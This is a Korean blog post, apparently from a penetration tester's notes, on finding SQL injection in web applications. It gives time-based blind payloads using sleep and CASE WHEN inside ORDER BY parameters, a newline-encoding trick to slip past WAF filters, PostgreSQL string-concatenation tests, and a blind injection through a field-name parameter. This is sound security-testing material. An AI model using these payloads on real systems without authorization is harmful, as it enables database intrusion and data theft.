SQL injection 잘 찾고 싶다..
지금까지 겪어봤던 injection 공격POINT들 (blind / timebase )
1. 정렬 관련.. 예를 들어, order by DESC/ASC
2. 조회 관련
정렬 경우
기본적인 SQL 구문 : select * from table_name where name like '%test%' order by DESC;
이런 경우가 많은데 첫 프로젝트에서는 http request 값에 형식이 이러했다. json 형식으로..
[ "order_column1":"ABCD","order_how":"ASC" ] 그래서 여기 order_how 입력값에 sql 문을 넣는 식!
이때는 timebased가 먹혔기 때문에
select * from table_name where name like '%test%' order by DESC, (select sleep(10)) ; 이런식으로 DESC,뒤에 시간지연 함수들을 써주면 된다. *파란색 색칠된 부분이 입력값이 됨.
true > 시간 지연 발생 / False > 시간 지연 미발생
select * from table_name where name like '%test%' order by DESC, (select sleep(10) where substr(user,1,1)='a') ;
이런 식으로 넣어주면 user명을 추측할 수 있음. where 절이 true면 시간 지연 발생!
다음은, CASE WHEN 구문을 사용해서 time base 수행
select * from table_name where name like '%test%' order by DESC,(select case when substr(user,1,1)='a' then (select sleep(10)) else NULL end)
만약 user명이 a로 시작하는 게 true라면, select sleep(10) 수행
만약 user명이 a가 아니라면, NULL 반환
또! 가끔 CASE WHEN 구문 자체를 정규식으로나 WAF에서 필터링하는 경우가 있다. 이럴 때는
DESC,(select case when substr(user,1,1)='a' %0a then (select sleep(10)) else NULL end)
%0a 나 %0d와 같은 개행 인코딩 값을 넣어주면 개행되면서 필터링에 걸리지 않는다.
조회 관련 - 1
기본적인 SQL 구문 : select * from table_name where name like '%test%' and status = '01';
이런 식으로 어떠한 조건에 맞는 데이터들을 조회하는 경우였다. 이때의 공격 포인트는 status 파라미터이다.
- case when 문을 사용해서 blind injection 시도하기
select * from table_name where name like '%test%' and status = '01'; (원래 구문 추측)
* 여기서 중요한 점은 status가 받는 입력값이 숫자형 이라는 것이다!!!!
* 만약, 숫자형이 아니라 status가 받는 입력값이 문자형(string)이라면?????
SQL 테스트 (fiddle 에서 테스트 진행, DB는 Postgresql)
ID 필드는 현재 문자형으로 데이터를 받는다.
select * from sql_test_a where id = ' '||(CASE WHEN 1=1 THEN '02' ELSE '05' END)||' ' and '1'='1';
(* 뒤에 [and '1'='1'] 를 넣은 이유는 실제 진단할 때 공격구문을 넣을 곳 뒤에 어떤 값이 올지도 모르기 때문에 ...)
문자형이기 때문에 문자를 연결하는 ||를 이용하였고, 02값을 넣을 때 '02'로 싱글쿼터안에 포함시켜 문자임을 나타낸다.
반대로, ID 필드가 숫자형으로 데이터를 받는다면,
select * from sql_test_a where id = (CASE WHEN 1=1 THEN 01 ELSE 03 END) and '1'='1';
SQL 쿼리에서 숫자형을 입력받을 때는 어떤 언어이든지 간에... 싱글쿼터에 담아서 넣지 않는다.
→ INSERT INTO sql_test_a (ID, FIRST_NAME, LAST_NAME) VALUES (01, 'John', 'Snow');
그래서, 숫자형으로 들어간다면 ' ' 신경 안 써도 된다!!!
이건 조금 다른 케이스인데 보통 입력값을 넣었을 때 뒤에 공격구문을 쓰는 편인데, 정상값 뒤에 뭐가 오든지 간에 다 필터링이 되어 뒤에 넣을 수 없었다.
예시 쿼리는 다음과 같다 (추측)
select * from table_name where search_name like '%test%' and data1 = 'TTT' and ~~~~ ; (조건들이 더 붙었음)
POST BODY에는 다음과 같다. (JSON 형식)
[{"data0":" ","data1":"TTT","search_name":"test"}] 이런식...
기본적으로 생각하면
select * from table_name where data1 = 'TTT' and search_name = 'test'; 이렇게 들어간다고 생각하기 쉬운데..!
진단상으로는
select * from table_name where TTT='test'; data1에서 받은 값이 db에서 test를 검색하는 필드명으로 바로 들어감.
약간, 조회할 필드명을 사용자가 선택하도록 하고 거기서 그 뒤에 search_name으로 데이터를 검색하는 느낌이다.
예를들어, title에서 test를 검색한다면... 원래는 내부에서 title은 고정으로 들어가고 test값만 동적으로 들어갈텐데, title 까지도 동적으로 들어가는 쿼리인 셈..
TTT가 필드명으로 들어가기 때문에 싱글쿼터가 없다.
select * from table_name where (1=1) and TTT='test';
전달값 ) [{"data0":" ","data1":"(1=1) and TTT","search_name":"test"}]
그래서 TTT 앞에 임의의 쿼리문들을 넣어서 Blind injection이 가능하다.
(1=1) 부분에 참 거짓으로 user명 파악 가능했다!!!!!
그때 찾았던 payload : (user='admin')+and+TTT
'WEB > 모의해킹 진단' 카테고리의 다른 글
웹 URL 인코딩 (0) | 2023.05.21 |
---|---|
Payload (0) | 2023.05.21 |
모의해킹 진단 - SQL 편 (2) (0) | 2023.05.16 |
sql injection 자동화도구 N3015M 사용법 (1) | 2023.04.16 |